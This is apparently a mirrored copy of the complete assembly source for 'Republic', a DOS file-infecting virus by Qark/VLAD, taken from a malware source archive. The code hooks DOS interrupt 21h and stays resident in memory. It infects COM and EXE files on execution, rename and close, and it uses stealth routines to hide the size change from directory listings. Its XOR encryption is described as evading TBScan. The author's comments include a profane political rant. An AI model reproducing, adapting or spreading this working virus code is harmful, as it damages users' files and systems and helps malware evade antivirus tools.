mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
831 lines
23 KiB
NASM
831 lines
23 KiB
NASM
|
|
; REPUBLIC!
|
|
; +-------+ Qark/VLAD
|
|
;
|
|
;
|
|
; This virus is named because I (and metabolis) support a republic for
|
|
; Australia. Fuck the Union Jack off from our flag... we want something
|
|
; Australian in there... and an Australian head of state not some pommy
|
|
; bitch Queen and her corgis.
|
|
;
|
|
; A funny thing: I wrote a full-on MTE/TPE/DAME type polymorphic engine
|
|
; for this virus, but TBScan found it every time! But when i do the
|
|
; shitty XOR routine that's at the end, TBScan hardly finds anything!
|
|
; TBAV can be proud of it's capabilites with polymorphism, but for
|
|
; basic encryption it's a big thumbs down...
|
|
;
|
|
; Stats:
|
|
; - Disinfect on open, Infect on close.
|
|
; - No directory filesize change
|
|
; - No findfirst filesize change
|
|
; - Some anti-debugging features
|
|
;
|
|
; Anyway, this is my best virus so far. I've come a fair way since broken,
|
|
; fucked up brother in VLAD#1 I'm sure you'll agree. I wrote this virus
|
|
; a few months ago and am better than this already.
|
|
;
|
|
; As always, the A86 assembler is my favourite :)
|
|
|
|
|
|
org 0
|
|
|
|
|
|
db 0beh ;MOV SI,xxxx
|
|
delta dw offset enc_start + 100h
|
|
cld
|
|
call encrypt
|
|
enc_start:
|
|
push cs
|
|
pop ds ;DS=CS
|
|
sub si,offset enc_end ;The polymorphism is done.
|
|
|
|
|
|
|
|
mov word ptr [si+offset quit],20cdh
|
|
quit:
|
|
mov word ptr [si+offset quit],44c7h ;The bytes changed.
|
|
|
|
|
|
push es
|
|
push si
|
|
|
|
;If I don't get a feed soon, I'll start to fade...
|
|
|
|
mov ax,0FEEDh ;Feed ?
|
|
int 21h
|
|
|
|
cmp ax,0FADEh ;Yes...
|
|
je resident ;Fade...
|
|
|
|
mov ax,es
|
|
dec ax
|
|
mov ds,ax
|
|
|
|
cmp byte ptr [0],'Z'
|
|
jne resident
|
|
|
|
sub word ptr [3],160 ;2560 bytes of memory.
|
|
sub word ptr [12h],160 ;2560 bytes off TOM.
|
|
|
|
mov bx,word ptr [12h] ;Read in the TOM.
|
|
|
|
push cs
|
|
pop ds ;DS=CS
|
|
|
|
xor ax,ax ;ES=0 (Vector Table)
|
|
mov es,ax
|
|
|
|
mov ax,word ptr es:[132] ;Get int21h.
|
|
mov word ptr [si+offset i21],ax
|
|
|
|
mov ax,word ptr es:[134] ;Get int21h segment.
|
|
mov word ptr [si+offset i21+2],ax
|
|
|
|
mov es,bx ;ES=Segment to store virus.
|
|
|
|
xor di,di ;Zero in memory.
|
|
mov cx,offset length ;The size of the virus.
|
|
rep movsb ;Move the virus.
|
|
|
|
xor ax,ax
|
|
mov ds,ax ;ES=0 (Vector Table)
|
|
|
|
mov word ptr [132],offset infection
|
|
mov [134],bx ;BX=Virus Seg I hope!
|
|
|
|
resident:
|
|
|
|
pop si ;SI=IP (Virus start)
|
|
pop es ;ES=PSP
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
cmp byte ptr [si+offset com_exe],1
|
|
je exe_exit
|
|
|
|
mov ax,word ptr [si+offset old3]
|
|
mov [100h],ax
|
|
mov al,byte ptr [si+offset old3+2]
|
|
mov [102h],al
|
|
|
|
push es
|
|
pop ds
|
|
|
|
call zero_all
|
|
mov ax,100h
|
|
jmp ax
|
|
|
|
Exe_Exit:
|
|
|
|
mov ax,es ;ES=PSP
|
|
add ax,10h ;EXE file start.
|
|
add word ptr [si+jump+2],ax
|
|
|
|
call zero_all
|
|
|
|
mov sp,word ptr [si+offset orig_sp]
|
|
add ax,word ptr [si+offset orig_ss] ;Fix SS with AX.
|
|
mov ss,ax
|
|
|
|
push es
|
|
pop ds
|
|
|
|
|
|
db 0eah
|
|
jump dd 0
|
|
|
|
Message db 'Go the Republic! '
|
|
db 'Fuck off Royal Family!',0
|
|
Creator db 'Qark/VLAD of the Republic of Australia',0
|
|
|
|
Infection:
|
|
|
|
push ax
|
|
xchg al,ah
|
|
|
|
cmp ax,004bh ;Exec. Don't infect on 4B01h because
|
|
je test_inf ;debug will find it then.
|
|
|
|
cmp al,43h ;Chmod.
|
|
je test_inf
|
|
|
|
cmp al,56h ;Rename.
|
|
je test_inf
|
|
|
|
cmp al,6ch ;Open.
|
|
je dis_inf
|
|
|
|
cmp al,3dh ;Open
|
|
je dis_inf
|
|
|
|
cmp al,11h ;FCB find.
|
|
je dir_listing
|
|
|
|
cmp al,12h ;Dir listing in progress.
|
|
je dir_listing
|
|
|
|
cmp al,4eh ;Find first.
|
|
je find_file
|
|
|
|
cmp al,4fh ;Find_next.
|
|
je find_file
|
|
|
|
cmp al,3eh ;Close.
|
|
je end_infect
|
|
|
|
pop ax
|
|
|
|
cmp ax,0FEEDh
|
|
je res_check ;Testing for installation ?
|
|
|
|
jump_exit:
|
|
|
|
jmp jend ;Exit TSR
|
|
|
|
res_check:
|
|
mov ax,0FADEh ;Return parameter.
|
|
iret
|
|
|
|
dir_listing:
|
|
jmp dir_stealth
|
|
find_file:
|
|
jmp search_stealth
|
|
dis_inf:
|
|
jmp full_stealth ;Disinfect on the fly.
|
|
end_infect:
|
|
jmp close_infect
|
|
|
|
jump2_exit:
|
|
jmp far_pop_exit ;Just an exit.
|
|
|
|
test_inf:
|
|
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
call check_name
|
|
|
|
jc jump2_exit
|
|
|
|
mov ax,3d00h ;Open readonly.
|
|
mov dx,di ;DX=DI=Offset length
|
|
call int21h
|
|
|
|
jc jump2_exit
|
|
|
|
mov bx,ax
|
|
|
|
call get_sft
|
|
|
|
;Test for infection.
|
|
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
|
|
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
|
|
and ax,1f1fh ;Get rid of the shit we don't need.
|
|
cmp al,ah ;Compare the seconds with minutes.
|
|
je jump2_exit
|
|
|
|
Handle_Infection:
|
|
|
|
push cs
|
|
pop es ;ES=CS
|
|
|
|
;Read the File header in to test
|
|
;for EXE or COM.
|
|
mov ah,3fh ;Read from file.
|
|
mov cx,1ch ;1C bytes.
|
|
call int21h ;DX=Offset length from file open.
|
|
;We don't need the filename anymore
|
|
;so use that space as a buffer.
|
|
|
|
mov si,dx ;SI=DX=offset length.
|
|
mov di,offset header
|
|
mov cx,18h
|
|
rep movsb ;Move header to header.
|
|
|
|
|
|
mov si,dx ;SI=DX=Offset of length.
|
|
|
|
mov ax,word ptr [si] ;=Start of COM or EXE.
|
|
add al,ah ;Add possible MZ.
|
|
cmp al,167 ;Test for MZ.
|
|
je exe_infect
|
|
jmp com_infect
|
|
|
|
EXE_infect:
|
|
|
|
mov byte ptr com_exe,1 ;Signal EXE file.
|
|
|
|
cmp word ptr [si+1ah],0 ;Test for overlays.
|
|
jne exe_close_exit ;Quick... run!!!
|
|
|
|
push si ;SI=Offset of header
|
|
|
|
add si,0eh ;SS:SP are here.
|
|
mov di,offset orig_ss
|
|
movsw ;Move them!
|
|
movsw
|
|
|
|
mov di,offset jump ;The CS:IP go in here.
|
|
|
|
lodsw ;ADD SI,2 - AX destroyed.
|
|
|
|
movsw
|
|
movsw ;Move them!
|
|
|
|
pop si
|
|
|
|
call get_sft ;ES:DI = SFT for file.
|
|
|
|
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
|
|
mov dx,word ptr es:[di+13h]
|
|
mov cx,16 ;Divide by paragraphs.
|
|
div cx
|
|
|
|
sub ax,word ptr [si+8] ;Subtract headersize.
|
|
|
|
mov word ptr delta,dx ;Initial IP.
|
|
|
|
add delta,offset enc_start ;Fix for polymorphics.
|
|
|
|
mov word ptr [si+14h],dx ;IP in header.
|
|
mov word ptr [si+16h],ax ;CS in header.
|
|
|
|
add dx,offset stack_end ;Fix SS:SP for file.
|
|
|
|
mov word ptr [si+0eh],ax ;We'll make SS=CS
|
|
mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer.
|
|
|
|
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
|
|
mov dx,word ptr es:[di+13h]
|
|
|
|
add ax,offset length ;Add the virus length on.
|
|
adc dx,0 ;32bit
|
|
|
|
mov cx,512 ;Divide by pages.
|
|
div cx
|
|
|
|
and dx,dx
|
|
jz no_page_fix
|
|
|
|
inc ax ;One more for the partial
|
|
;page!
|
|
no_page_fix:
|
|
|
|
mov word ptr [si+4],ax ;Number of pages.
|
|
mov word ptr [si+2],dx ;Partial page.
|
|
|
|
mov word ptr es:[di+15h],0 ;Lseek to start of file.
|
|
|
|
call get_date ;Save the old time/date.
|
|
|
|
mov ah,40h ;Write header to file.
|
|
mov dx,si ;Our header buffer.
|
|
mov cx,1ch ;1CH bytes.
|
|
call int21h
|
|
|
|
jc exe_close_exit
|
|
|
|
mov ax,4202h ;End of file. Smaller than
|
|
;using SFT's.
|
|
xor cx,cx ;Zero CX
|
|
cwd ;Zero DX (If AX < 8000H then
|
|
;CWD moves zero into DX)
|
|
call int21h
|
|
|
|
call enc_setup ;Thisll encrypt it and move
|
|
;it to the end of file.
|
|
exe_close_exit:
|
|
|
|
jmp com_close_exit
|
|
|
|
com_infect:
|
|
|
|
mov byte ptr com_exe,0 ;Flag COM infection.
|
|
|
|
mov ax,word ptr [si] ;Save COM files first 3 bytes.
|
|
mov word ptr old3,ax
|
|
mov al,[si+2]
|
|
mov byte ptr old3+2,al
|
|
|
|
call get_sft ;SFT is at ES:DI
|
|
|
|
mov ax,es:[di+11h] ;AX=File Size
|
|
|
|
cmp ax,64000
|
|
ja com_close_exit ;Too big.
|
|
|
|
cmp ax,1000
|
|
jb com_close_exit ;Too small.
|
|
|
|
push ax ;Save filesize.
|
|
|
|
mov newoff,ax ;For the new jump.
|
|
sub newoff,3 ;Fix the jump.
|
|
|
|
mov word ptr es:[di+15h],0 ;Lseek to start of file :)
|
|
|
|
call get_date ;Save original file date.
|
|
|
|
mov ah,40h
|
|
mov cx,3
|
|
mov dx,offset new3 ;Write the virus jump to start of
|
|
call int21h ;file.
|
|
|
|
pop ax ;Restore file size.
|
|
|
|
jc com_close_exit ;If an error occurred... exit.
|
|
|
|
mov word ptr es:[di+15h],ax ;Lseek to end of file.
|
|
|
|
add ax,offset enc_start + 100h ;File size + 100h.
|
|
mov word ptr delta,ax ;The delta offset for COM files.
|
|
|
|
call enc_setup
|
|
|
|
com_close_exit:
|
|
|
|
mov ah,3eh
|
|
call int21h
|
|
|
|
far_pop_exit:
|
|
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
|
|
jend:
|
|
db 0eah ;Opcode for jmpf
|
|
i21 dd 0
|
|
|
|
int21h proc near ;Our int 21h
|
|
|
|
pushf
|
|
call dword ptr cs:[i21]
|
|
ret
|
|
int21h endp
|
|
|
|
close_infect:
|
|
cmp bl,4
|
|
ja good_handle
|
|
pop ax
|
|
jmp jend
|
|
|
|
Good_Handle:
|
|
|
|
push bx ;Save the original registers.
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
call get_sft ;ES:DI = SFT
|
|
mov ax,word ptr es:[di+0dh] ;AX=Time
|
|
and ax,1f1fh ;Shit we don't need.
|
|
cmp al,ah ;AL=AH means infected.
|
|
je far_pop_exit
|
|
|
|
mov dx,offset length
|
|
push cs
|
|
pop ds
|
|
|
|
mov word ptr es:[di+2],2 ;Read/Write mode.
|
|
mov word ptr es:[di+15h],0 ;Zero file pointer.
|
|
mov word ptr es:[di+17h],0 ;Zero file pointer.
|
|
add di,28h ;ES:DI=Extension
|
|
cmp word ptr es:[di],'OC'
|
|
je close_com
|
|
cmp word ptr es:[di],'XE'
|
|
jne far_pop_exit
|
|
Close_Exe:
|
|
inc di
|
|
inc di
|
|
cmp byte ptr es:[di],'E'
|
|
jne far_pop_exit
|
|
jmp handle_infection
|
|
|
|
Close_Com:
|
|
|
|
cmp byte ptr es:[di+2],'M'
|
|
jne far_pop_exit
|
|
jmp handle_infection
|
|
|
|
;-------
|
|
|
|
Full_Stealth:
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
cmp al,6ch
|
|
jne stealth_6c
|
|
|
|
mov dx,si
|
|
|
|
stealth_6c:
|
|
call check_name
|
|
jnc do_stealth
|
|
Stealth_end:
|
|
jmp far_pop_exit
|
|
|
|
Do_Stealth:
|
|
|
|
mov ax,3d00h
|
|
mov dx,di
|
|
call int21h
|
|
jc stealth_end
|
|
|
|
mov bx,ax ;BX=filehandle
|
|
call get_sft
|
|
;ES:DI=SFT
|
|
|
|
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
|
|
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
|
|
and ax,1f1fh ;Get rid of the shit we don't need.
|
|
cmp al,ah ;Compare the seconds with minutes.
|
|
jne stealth_end ;Not infected...
|
|
|
|
|
|
mov ax,word ptr es:[di+11h] ;File size.
|
|
mov dx,word ptr es:[di+13h]
|
|
|
|
push dx
|
|
push ax
|
|
|
|
sub ax,1ch ;Header+time+date = 1ch
|
|
sbb dx,0
|
|
mov word ptr es:[di+15h],ax ;File pointer.
|
|
mov word ptr es:[di+17h],dx
|
|
|
|
mov ah,3fh
|
|
mov dx,offset header ;Read in header.
|
|
mov cx,1ch
|
|
call int21h
|
|
|
|
pop ax
|
|
pop dx ;DX:AX=length of file
|
|
|
|
sub ax,offset length ;EOF - length.
|
|
sbb dx,0
|
|
mov word ptr es:[di+15h],ax
|
|
mov word ptr es:[di+17h],dx
|
|
|
|
mov ah,40h ;Truncate virus off.
|
|
xor cx,cx
|
|
call int21h
|
|
jc stealth_end
|
|
|
|
mov word ptr es:[di+15h],0 ;Start of file
|
|
mov word ptr es:[di+17h],0
|
|
|
|
mov ah,40h
|
|
mov dx,offset header
|
|
mov cx,18h
|
|
call int21h ;Write original header back.
|
|
|
|
mov cx,word ptr time
|
|
mov dx,word ptr date
|
|
mov ax,5701h ;Put original time/date back.
|
|
call int21h
|
|
|
|
mov ah,3eh ;Close file.
|
|
call int21h
|
|
|
|
jmp stealth_end
|
|
|
|
Check_Name proc near
|
|
;Entry:
|
|
;DS:DX=Filename
|
|
;
|
|
;Exit:
|
|
;Carry if bad name.
|
|
;DS=ES=CS
|
|
;AX is fucked.
|
|
;SI = File Extension Somewhere.
|
|
;DI = Offset length.
|
|
|
|
|
|
mov si,dx ;DS:SI = Filename.
|
|
|
|
push cs
|
|
pop es ;ES=CS
|
|
|
|
mov ah,60h ;Get qualified filename.
|
|
mov di,offset length ;DI=Buffer for filename.
|
|
call int21h ;This converts it to uppercase too!
|
|
|
|
;CS:LENGTH = Filename in uppercase
|
|
;with path and drive. Much easier
|
|
;to handle now!
|
|
push cs
|
|
pop ds ;DS=CS
|
|
|
|
mov si,di ;SI=DI=Offset Length
|
|
|
|
cld ;Forward!
|
|
|
|
find_ascii_z:
|
|
|
|
lodsb
|
|
cmp al,0
|
|
jne find_ascii_z
|
|
|
|
sub si,4 ;Points to the file extension. 'EXE'
|
|
|
|
lodsw ;Mov AX,DS:[SI]
|
|
|
|
cmp ax,'XE' ;The 'EX' out of 'EXE'
|
|
jne test_com
|
|
|
|
lodsb ;Mov AL,DS:[SI]
|
|
|
|
cmp al,'E' ;The last 'E' in 'EXE'
|
|
jne Bad_Name
|
|
|
|
jmp do_file ;EXE-file
|
|
|
|
test_com:
|
|
|
|
cmp ax,'OC' ;The 'CO' out of 'COM'
|
|
jne Bad_Name
|
|
|
|
lodsb ;Mov AL,DS:[SI]
|
|
|
|
cmp al,'M'
|
|
je do_file ;COM-file
|
|
|
|
Bad_Name:
|
|
stc
|
|
ret
|
|
|
|
do_file:
|
|
clc
|
|
ret
|
|
Check_Name endp
|
|
|
|
|
|
Search_Stealth:
|
|
|
|
pop ax ;Restore AX.
|
|
|
|
call int21h
|
|
jc end_search
|
|
|
|
push es
|
|
push bx
|
|
push si
|
|
|
|
mov ah,2fh
|
|
call int21h
|
|
|
|
mov si,bx
|
|
|
|
mov bx,word ptr es:[si+16h]
|
|
and bx,1f1fh
|
|
cmp bl,bh
|
|
jne search_pop ;Is our marker set ?
|
|
|
|
sub word ptr es:[si+1ah],offset length ;Subtract the file length.
|
|
sbb word ptr es:[si+1ch],0
|
|
|
|
search_pop:
|
|
|
|
pop si
|
|
pop bx
|
|
pop es
|
|
clc
|
|
|
|
end_search:
|
|
retf 2 ;This is the same as an IRET
|
|
;except that the flags aren't popped
|
|
;off so our Carry Remains set.
|
|
|
|
Dir_Stealth:
|
|
|
|
;This bit means that wen you do a 'dir' there is no change in
|
|
;file size.
|
|
|
|
pop ax
|
|
|
|
call int21h ;Call the interrupt
|
|
cmp al,0 ;straight off.
|
|
jne end_of_dir
|
|
|
|
push es
|
|
push ax ;Save em.
|
|
push bx
|
|
push si
|
|
|
|
mov ah,2fh ;Get DTA address.
|
|
call int21h
|
|
|
|
mov si,bx
|
|
|
|
cmp byte ptr es:[si],0ffh ;Extended FCB ?
|
|
jne not_extended
|
|
|
|
add si,7 ;Add the extra's.
|
|
|
|
not_extended:
|
|
|
|
mov bx,word ptr es:[si+17h] ;Move time.
|
|
and bx,1f1fh
|
|
cmp bl,bh
|
|
jne dir_pop ;Is our marker set ?
|
|
|
|
sub word ptr es:[si+1dh],offset length ;Subtract the file length.
|
|
sbb word ptr es:[si+1fh],0
|
|
|
|
dir_pop:
|
|
|
|
pop si
|
|
pop bx
|
|
pop ax
|
|
pop es
|
|
|
|
end_of_dir:
|
|
|
|
iret
|
|
|
|
Get_Date proc near
|
|
mov ax,5700h ;Get Date/Time.
|
|
call int21h
|
|
mov word ptr time,cx
|
|
mov word ptr date,dx
|
|
|
|
ret
|
|
|
|
Get_date endp
|
|
|
|
Set_Marker proc near
|
|
|
|
mov cx,time
|
|
mov al,ch
|
|
and al,1fh
|
|
and cl,0e0h
|
|
or cl,al
|
|
mov dx,date
|
|
mov ax,5701h
|
|
call int21h
|
|
|
|
ret
|
|
|
|
Set_marker endp
|
|
|
|
Enc_Setup proc near
|
|
|
|
push cs
|
|
pop es
|
|
|
|
in al,40h
|
|
mov byte ptr cs:cipher,al
|
|
|
|
xor si,si
|
|
mov di,offset length ;Offset of our buffer.
|
|
mov cx,offset length ;Virus Length.
|
|
rep movsb ;Move the virus up in memory for
|
|
;encryption.
|
|
|
|
mov si,offset length + offset enc_start
|
|
|
|
call encrypt ;Encrypt virus.
|
|
|
|
mov ah,40h ;Write virus to file
|
|
mov dx,offset length ;Buffer for encrypted virus.
|
|
mov cx,offset length ;Virus length.
|
|
call int21h
|
|
|
|
call set_marker ;Mark file as infected.
|
|
|
|
ret
|
|
|
|
Enc_setup endp
|
|
|
|
Get_SFT Proc Near
|
|
;Entry: BX=File Handle.
|
|
;Exit: ES:DI=SFT.
|
|
push bx
|
|
|
|
mov ax,1220h ;Get Job File Table Entry. The byte pointed
|
|
int 2fh ;at by ES:[DI] contains the number of the
|
|
;SFT for the file handle.
|
|
|
|
xor bx,bx
|
|
mov bl,es:[di] ;Get address of System File Table Entry.
|
|
mov ax,1216h
|
|
int 2fh
|
|
|
|
pop bx
|
|
|
|
ret
|
|
|
|
Get_SFT EndP
|
|
|
|
Zero_All proc near
|
|
;Zero's everything cept AX.
|
|
|
|
xor bx,bx ;Zero BX
|
|
mov cx,bx
|
|
mov dx,bx
|
|
mov di,bx
|
|
|
|
ret
|
|
Zero_All endp
|
|
|
|
|
|
New3 db 0e9h ;The jump for the start of
|
|
Newoff dw 0 ;COM files.
|
|
orig_ss dw 0
|
|
orig_sp dw 0
|
|
com_exe db 0
|
|
old3 db 0cdh,20h,90h
|
|
|
|
|
|
|
|
enc_end: ;Encryption ends here.
|
|
|
|
; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111
|
|
|
|
; Works every time :)
|
|
|
|
encrypt proc near
|
|
|
|
;Si = enc_start
|
|
mov cx,offset enc_end - offset enc_start
|
|
db 0b0h ;=MOV AL,xx
|
|
cipher db 0
|
|
enc_loop:
|
|
ror al,1
|
|
neg al
|
|
xor cs:[si],al ;<--- Whoah! Never guess this was encryption!
|
|
add al,al
|
|
inc si
|
|
loop enc_loop
|
|
ret
|
|
|
|
Encrypt endp
|
|
|
|
header db 18h dup (0) ;rewrite this
|
|
time dw 0 ;restore this
|
|
date dw 0
|
|
|
|
length db 200 dup (0)
|
|
stack_end:
|
|
|